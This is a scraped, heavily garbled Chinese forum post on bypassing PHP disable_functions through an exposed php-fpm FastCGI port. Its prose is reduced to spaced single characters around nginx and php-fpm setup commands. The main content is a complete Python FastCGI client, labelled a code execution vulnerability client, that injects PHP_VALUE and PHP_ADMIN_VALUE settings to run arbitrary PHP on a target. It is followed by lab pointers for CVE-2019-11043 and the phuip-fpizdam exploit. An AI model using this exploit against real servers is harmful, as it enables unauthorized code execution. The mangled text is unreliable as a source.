[357] 2020-11-16_php-fpm绕过disable_functions

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-16
2020-11-16_php-fpm绕过disable_functions p h p - f p m d i s a b l e _ f u n c t i o n s   a F a   a F a   2 0 2 0 - 1 1 - 1 6   #   , 1 4 c g i c g i c o m m o n   g a t e w a y   i n t e r f a c e w e b h t m l j a v a p h p w e b c g i f a s t - c g i c g i w e b c g i c g i f a s t - c g i f a s t - c g i p h p - f p m p h p - f p m p h p   f a s t c g i   p r o c e s s   m a n a g e r p h p f a s t c g i m a s t e r w o r k e r m a s t e r w e b w o r k e r w o r k e r p h p p h p 1 n g i n x 2 n g i n x f a s t - c g i c g i f p m - p h p 3 f p m - p h p c g i p h p
4 f p m - p h p n g i n x 5 n g i n x 使 v u l t r u b u n t u f p m n g i n x t c p s o c k e t t c p n g i n x v i m   / e t c / n g i n x / s i t e s - e n a b l e d / d e f a u l t p h p v i m   / e t c / p h p / 7 . 3 / f p m / p o o l . d / w w w . c o n f l i s t e n s o c k t c p a p t   i n s t a l l   - y   n g i n x a p t   i n s t a l l   - y   s o f t w a r e - p r o p e r t i e s - c o m m o n   #   a d d - a p t - r e p o s i t o r y a d d - a p t - r e p o s i t o r y   - y   p p a : o n d r e j / p h p   #   使 a d d - a p t - r e p o s i t o r y p p a a p t   u p d a t e a p t   i n s t a l l   - y   p h p 7 . 3 - f p m
/ e t c / i n i t . d / p h p 7 . 3 - f p m   r e s t a r t s e r v i c e   n g i n x   r e s t a r t ` n e t s t a t   - a p   |   g r e p   9 0 0 0 ` s e r v e r   a p i f p m / f a s t c g i n g i n x f a s t c g i f p m p y t h o n i m p o r t   s o c k e t i m p o r t   r a n d o m i m p o r t   a r g p a r s e i m p o r t   s y s f r o m   i o   i m p o r t   B y t e s I O #   R e f e r r e r :   h t t p s : / / g i t h u b . c o m / w u y u n f e n g / P y t h o n - F a s t C G I - C l i e n t P Y 2   =   T r u e   i f   s y s . v e r s i o n _ i n f o . m a j o r   = =   2   e l s e   F a l s e d e f   b c h r ( i ) :         i f   P Y 2 :                 r e t u r n   f o r c e _ b y t e s ( c h r ( i ) )
                r e t u r n   f o r c e _ b y t e s ( c h r ( i ) )         e l s e :                 r e t u r n   b y t e s ( [ i ] ) d e f   b o r d ( c ) :         i f   i s i n s t a n c e ( c ,   i n t ) :                 r e t u r n   c         e l s e :                 r e t u r n   o r d ( c ) d e f   f o r c e _ b y t e s ( s ) :         i f   i s i n s t a n c e ( s ,   b y t e s ) :                 r e t u r n   s         e l s e :                 r e t u r n   s . e n c o d e ( ' u t f - 8 ' ,   ' s t r i c t ' ) d e f   f o r c e _ t e x t ( s ) :         i f   i s s u b c l a s s ( t y p e ( s ) ,   s t r ) :                 r e t u r n   s         i f   i s i n s t a n c e ( s ,   b y t e s ) :                 s   =   s t r ( s ,   ' u t f - 8 ' ,   ' s t r i c t ' )         e l s e :                 s   =   s t r ( s )         r e t u r n   s c l a s s   F a s t C G I C l i e n t :         " " " A   F a s t - C G I   C l i e n t   f o r   P y t h o n " " "         #   p r i v a t e         _ _ F C G I _ V E R S I O N   =   1         _ _ F C G I _ R O L E _ R E S P O N D E R   =   1         _ _ F C G I _ R O L E _ A U T H O R I Z E R   =   2         _ _ F C G I _ R O L E _ F I L T E R   =   3         _ _ F C G I _ T Y P E _ B E G I N   =   1         _ _ F C G I _ T Y P E _ A B O R T   =   2         _ _ F C G I _ T Y P E _ E N D   =   3         _ _ F C G I _ T Y P E _ P A R A M S   =   4         _ _ F C G I _ T Y P E _ S T D I N   =   5         _ _ F C G I _ T Y P E _ S T D O U T   =   6         _ _ F C G I _ T Y P E _ S T D E R R   =   7         _ _ F C G I _ T Y P E _ D A T A   =   8         _ _ F C G I _ T Y P E _ G E T V A L U E S   =   9         _ _ F C G I _ T Y P E _ G E T V A L U E S _ R E S U L T   =   1 0         _ _ F C G I _ T Y P E _ U N K O W N T Y P E   =   1 1         _ _ F C G I _ H E A D E R _ S I Z E   =   8         #   r e q u e s t   s t a t e         F C G I _ S T A T E _ S E N D   =   1         F C G I _ S T A T E _ E R R O R   =   2         F C G I _ S T A T E _ S U C C E S S   =   3         d e f   _ _ i n i t _ _ ( s e l f ,   h o s t ,   p o r t ,   t i m e o u t ,   k e e p a l i v e ) :                 s e l f . h o s t   =   h o s t
                s e l f . h o s t   =   h o s t                 s e l f . p o r t   =   p o r t                 s e l f . t i m e o u t   =   t i m e o u t                 i f   k e e p a l i v e :                         s e l f . k e e p a l i v e   =   1                 e l s e :                         s e l f . k e e p a l i v e   =   0                 s e l f . s o c k   =   N o n e                 s e l f . r e q u e s t s   =   d i c t ( )         d e f   _ _ c o n n e c t ( s e l f ) :                 s e l f . s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s e l f . s o c k . s e t t i m e o u t ( s e l f . t i m e o u t )                 s e l f . s o c k . s e t s o c k o p t ( s o c k e t . S O L _ S O C K E T ,   s o c k e t . S O _ R E U S E A D D R ,   1 )                 #   i f   s e l f . k e e p a l i v e :                 #           s e l f . s o c k . s e t s o c k o p t ( s o c k e t . S O L _ S O C K E T ,   s o c k e t . S O L _ K E E P A L I V E ,   1 )                 #   e l s e :                 #           s e l f . s o c k . s e t s o c k o p t ( s o c k e t . S O L _ S O C K E T ,   s o c k e t . S O L _ K E E P A L I V E ,   0 )                 t r y :                         s e l f . s o c k . c o n n e c t ( ( s e l f . h o s t ,   i n t ( s e l f . p o r t ) ) )                 e x c e p t   s o c k e t . e r r o r   a s   m s g :                         s e l f . s o c k . c l o s e ( )                         s e l f . s o c k   =   N o n e                         p r i n t ( r e p r ( m s g ) )                         r e t u r n   F a l s e                 r e t u r n   T r u e         d e f   _ _ e n c o d e F a s t C G I R e c o r d ( s e l f ,   f c g i _ t y p e ,   c o n t e n t ,   r e q u e s t i d ) :                 l e n g t h   =   l e n ( c o n t e n t )                 b u f   =   b c h r ( F a s t C G I C l i e n t . _ _ F C G I _ V E R S I O N )                                 +   b c h r ( f c g i _ t y p e )                                 +   b c h r ( ( r e q u e s t i d   > >   8 )   &   0 x F F )                                 +   b c h r ( r e q u e s t i d   &   0 x F F )                                 +   b c h r ( ( l e n g t h   > >   8 )   &   0 x F F )                                 +   b c h r ( l e n g t h   &   0 x F F )                                 +   b c h r ( 0 )                                 +   b c h r ( 0 )                                 +   c o n t e n t                 r e t u r n   b u f         d e f   _ _ e n c o d e N a m e V a l u e P a r a m s ( s e l f ,   n a m e ,   v a l u e ) :                 n L e n   =   l e n ( n a m e )                 v L e n   =   l e n ( v a l u e )                 r e c o r d   =   b ' '                 i f   n L e n   <   1 2 8 :                         r e c o r d   + =   b c h r ( n L e n )                 e l s e :                         r e c o r d   + =   b c h r ( ( n L e n   > >   2 4 )   |   0 x 8 0 )                                               +   b c h r ( ( n L e n   > >   1 6 )   &   0 x F F )                                               +   b c h r ( ( n L e n   > >   8 )   &   0 x F F )                                               +   b c h r ( n L e n   &   0 x F F )                 i f   v L e n   <   1 2 8 :                         r e c o r d   + =   b c h r ( v L e n )                 e l s e :                         r e c o r d   + =   b c h r ( ( v L e n   > >   2 4 )   |   0 x 8 0 )                                               +   b c h r ( ( v L e n   > >   1 6 )   &   0 x F F )                                               +   b c h r ( ( v L e n   > >   8 )   &   0 x F F )  
                                            +   b c h r ( ( v L e n   > >   8 )   &   0 x F F )                                               +   b c h r ( v L e n   &   0 x F F )                 r e t u r n   r e c o r d   +   n a m e   +   v a l u e         d e f   _ _ d e c o d e F a s t C G I H e a d e r ( s e l f ,   s t r e a m ) :                 h e a d e r   =   d i c t ( )                 h e a d e r [ ' v e r s i o n ' ]   =   b o r d ( s t r e a m [ 0 ] )                 h e a d e r [ ' t y p e ' ]   =   b o r d ( s t r e a m [ 1 ] )                 h e a d e r [ ' r e q u e s t I d ' ]   =   ( b o r d ( s t r e a m [ 2 ] )   < <   8 )   +   b o r d ( s t r e a m [ 3 ] )                 h e a d e r [ ' c o n t e n t L e n g t h ' ]   =   ( b o r d ( s t r e a m [ 4 ] )   < <   8 )   +   b o r d ( s t r e a m [ 5 ] )                 h e a d e r [ ' p a d d i n g L e n g t h ' ]   =   b o r d ( s t r e a m [ 6 ] )                 h e a d e r [ ' r e s e r v e d ' ]   =   b o r d ( s t r e a m [ 7 ] )                 r e t u r n   h e a d e r         d e f   _ _ d e c o d e F a s t C G I R e c o r d ( s e l f ,   b u f f e r ) :                 h e a d e r   =   b u f f e r . r e a d ( i n t ( s e l f . _ _ F C G I _ H E A D E R _ S I Z E ) )                 i f   n o t   h e a d e r :                         r e t u r n   F a l s e                 e l s e :                         r e c o r d   =   s e l f . _ _ d e c o d e F a s t C G I H e a d e r ( h e a d e r )                         r e c o r d [ ' c o n t e n t ' ]   =   b ' '                         i f   ' c o n t e n t L e n g t h '   i n   r e c o r d . k e y s ( ) :                                 c o n t e n t L e n g t h   =   i n t ( r e c o r d [ ' c o n t e n t L e n g t h ' ] )                                 r e c o r d [ ' c o n t e n t ' ]   + =   b u f f e r . r e a d ( c o n t e n t L e n g t h )                         i f   ' p a d d i n g L e n g t h '   i n   r e c o r d . k e y s ( ) :                                 s k i p e d   =   b u f f e r . r e a d ( i n t ( r e c o r d [ ' p a d d i n g L e n g t h ' ] ) )                         r e t u r n   r e c o r d         d e f   r e q u e s t ( s e l f ,   n a m e V a l u e P a i r s = { } ,   p o s t = ' ' ) :                 i f   n o t   s e l f . _ _ c o n n e c t ( ) :                         p r i n t ( ' c o n n e c t   f a i l u r e !   p l e a s e   c h e c k   y o u r   f a s c t c g i - s e r v e r   ! ! ' )                         r e t u r n                 r e q u e s t I d   =   r a n d o m . r a n d i n t ( 1 ,   ( 1   < <   1 6 )   -   1 )                 s e l f . r e q u e s t s [ r e q u e s t I d ]   =   d i c t ( )                 r e q u e s t   =   b " "                 b e g i n F C G I R e c o r d C o n t e n t   =   b c h r ( 0 )                                                                     +   b c h r ( F a s t C G I C l i e n t . _ _ F C G I _ R O L E _ R E S P O N D E R )                                                                     +   b c h r ( s e l f . k e e p a l i v e )                                                                     +   b c h r ( 0 )   *   5                 r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ B E G I N ,                                                                                             b e g i n F C G I R e c o r d C o n t e n t ,   r e q u e s t I d )                 p a r a m s R e c o r d   =   b ' '                 i f   n a m e V a l u e P a i r s :                         f o r   ( n a m e ,   v a l u e )   i n   n a m e V a l u e P a i r s . i t e m s ( ) :                                 n a m e   =   f o r c e _ b y t e s ( n a m e )                                 v a l u e   =   f o r c e _ b y t e s ( v a l u e )                                 p a r a m s R e c o r d   + =   s e l f . _ _ e n c o d e N a m e V a l u e P a r a m s ( n a m e ,   v a l u e )                 i f   p a r a m s R e c o r d :                         r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ P A R A M S ,   p a r a m s R e c o r d ,   r e q u e s t I d )                 r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ P A R A M S ,   b ' ' ,   r e q u e s t I d )                 i f   p o s t :                         r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D I N ,   f o r c e _ b y t e s ( p o s t ) ,   r e q u e s t I d )
                        r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D I N ,   f o r c e _ b y t e s ( p o s t ) ,   r e q u e s t I d )                 r e q u e s t   + =   s e l f . _ _ e n c o d e F a s t C G I R e c o r d ( F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D I N ,   b ' ' ,   r e q u e s t I d )                 s e l f . s o c k . s e n d ( r e q u e s t )                 s e l f . r e q u e s t s [ r e q u e s t I d ] [ ' s t a t e ' ]   =   F a s t C G I C l i e n t . F C G I _ S T A T E _ S E N D                 s e l f . r e q u e s t s [ r e q u e s t I d ] [ ' r e s p o n s e ' ]   =   b ' '                 r e t u r n   s e l f . _ _ w a i t F o r R e s p o n s e ( r e q u e s t I d )         d e f   _ _ w a i t F o r R e s p o n s e ( s e l f ,   r e q u e s t I d ) :                 d a t a   =   b ' '                 w h i l e   T r u e :                         b u f   =   s e l f . s o c k . r e c v ( 5 1 2 )                         i f   n o t   l e n ( b u f ) :                                 b r e a k                         d a t a   + =   b u f                 d a t a   =   B y t e s I O ( d a t a )                 w h i l e   T r u e :                         r e s p o n s e   =   s e l f . _ _ d e c o d e F a s t C G I R e c o r d ( d a t a )                         i f   n o t   r e s p o n s e :                                 b r e a k                         i f   r e s p o n s e [ ' t y p e ' ]   = =   F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D O U T                                           o r   r e s p o n s e [ ' t y p e ' ]   = =   F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D E R R :                                 i f   r e s p o n s e [ ' t y p e ' ]   = =   F a s t C G I C l i e n t . _ _ F C G I _ T Y P E _ S T D E R R :                                         s e l f . r e q u e s t s [ ' s t a t e ' ]   =   F a s t C G I C l i e n t . F C G I _ S T A T E _ E R R O R                                 i f   r e q u e s t I d   = =   i n t ( r e s p o n s e [ ' r e q u e s t I d ' ] ) :                                         s e l f . r e q u e s t s [ r e q u e s t I d ] [ ' r e s p o n s e ' ]   + =   r e s p o n s e [ ' c o n t e n t ' ]                         i f   r e s p o n s e [ ' t y p e ' ]   = =   F a s t C G I C l i e n t . F C G I _ S T A T E _ S U C C E S S :                                 s e l f . r e q u e s t s [ r e q u e s t I d ]                 r e t u r n   s e l f . r e q u e s t s [ r e q u e s t I d ] [ ' r e s p o n s e ' ]         d e f   _ _ r e p r _ _ ( s e l f ) :                 r e t u r n   " f a s t c g i   c o n n e c t   h o s t : { }   p o r t : { } " . f o r m a t ( s e l f . h o s t ,   s e l f . p o r t ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' P h p - f p m   c o d e   e x e c u t i o n   v u l n e r a b i l i t y   c l i e n t . ' )         p a r s e r . a d d _ a r g u m e n t ( ' h o s t ' ,   h e l p = ' T a r g e t   h o s t ,   s u c h   a s   1 2 7 . 0 . 0 . 1 ' )         p a r s e r . a d d _ a r g u m e n t ( ' f i l e ' ,   h e l p = ' A   p h p   f i l e   a b s o l u t e   p a t h ,   s u c h   a s   / u s r / l o c a l / l i b / p h p / S y s t e m . p h p ' )         p a r s e r . a d d _ a r g u m e n t ( ' - c ' ,   ' - - c o d e ' ,   h e l p = ' W h a t   p h p   c o d e   y o u r   w a n t   t o   e x e c u t e ' ,   d e f a u l t = ' < ? p h p   p h p i n f o ( ) ;   e x i t ;   ? > ' )         p a r s e r . a d d _ a r g u m e n t ( ' - p ' ,   ' - - p o r t ' ,   h e l p = ' F a s t C G I   p o r t ' ,   d e f a u l t = 9 0 0 0 ,   t y p e = i n t )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         c l i e n t   =   F a s t C G I C l i e n t ( a r g s . h o s t ,   a r g s . p o r t ,   3 ,   0 )         p a r a m s   =   d i c t ( )         d o c u m e n t R o o t   =   " / "         u r i   =   a r g s . f i l e         c o n t e n t   =   a r g s . c o d e         p a r a m s   =   {                 ' G A T E W A Y _ I N T E R F A C E ' :   ' F a s t C G I / 1 . 0 ' ,                 ' R E Q U E S T _ M E T H O D ' :   ' P O S T ' ,                 ' S C R I P T _ F I L E N A M E ' :   d o c u m e n t R o o t   +   u r i . l s t r i p ( ' / ' ) ,                 ' S C R I P T _ N A M E ' :   u r i ,                 ' Q U E R Y _ S T R I N G ' :   ' ' ,                 ' R E Q U E S T _ U R I ' :   u r i ,                 ' D O C U M E N T _ R O O T ' :   d o c u m e n t R o o t ,
1 w i n d o w s f p m c l i n u x 2 f p m 1 2 7 . 0 . 0 . 1 1 2 7 . 0 . 0 . 1 0 . 0 . 0 . 0 使 d o c k e r v u l t r C V E - 2 0 1 9 - 1 1 0 4 3                 ' D O C U M E N T _ R O O T ' :   d o c u m e n t R o o t ,                 ' S E R V E R _ S O F T W A R E ' :   ' p h p / f c g i c l i e n t ' ,                 ' R E M O T E _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,                 ' R E M O T E _ P O R T ' :   ' 9 9 8 5 ' ,                 ' S E R V E R _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,                 ' S E R V E R _ P O R T ' :   ' 8 0 ' ,                 ' S E R V E R _ N A M E ' :   " l o c a l h o s t " ,                 ' S E R V E R _ P R O T O C O L ' :   ' H T T P / 1 . 1 ' ,                 ' C O N T E N T _ T Y P E ' :   ' a p p l i c a t i o n / t e x t ' ,                 ' C O N T E N T _ L E N G T H ' :   " % d "   %   l e n ( c o n t e n t ) ,                 ' P H P _ V A L U E ' :   ' a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t ' ,                 ' P H P _ A D M I N _ V A L U E ' :   ' a l l o w _ u r l _ i n c l u d e   =   O n '         }         r e s p o n s e   =   c l i e n t . r e q u e s t ( p a r a m s ,   c o n t e n t )         p r i n t ( f o r c e _ t e x t ( r e s p o n s e ) ) h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s / t r e e / m a s t e r / b y p a s s _ d i s a b l e _ f u n c t i o n s / 5 a p t   i n s t a l l   - y   d o c k e r a p t   i n s t a l l   - y   d o c k e r - c o m p o s e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 5 d o c k e r - c o m p o s e   u p   - d d o c k e r   p s
h t t p s : / / g i t h u b . c o m / n e e x / p h u i p - f p i z d a m h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / p h p / C V E - 2 0 1 9 - 1 1 0 4 3 使 g o   g e t p h u i p - f p i z d a m G O P A T H g o   g e t   h t t p s : / / g i t h u b . c o m / n e e x / p h u i p - f p i z d a m 使 u r l a 使
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则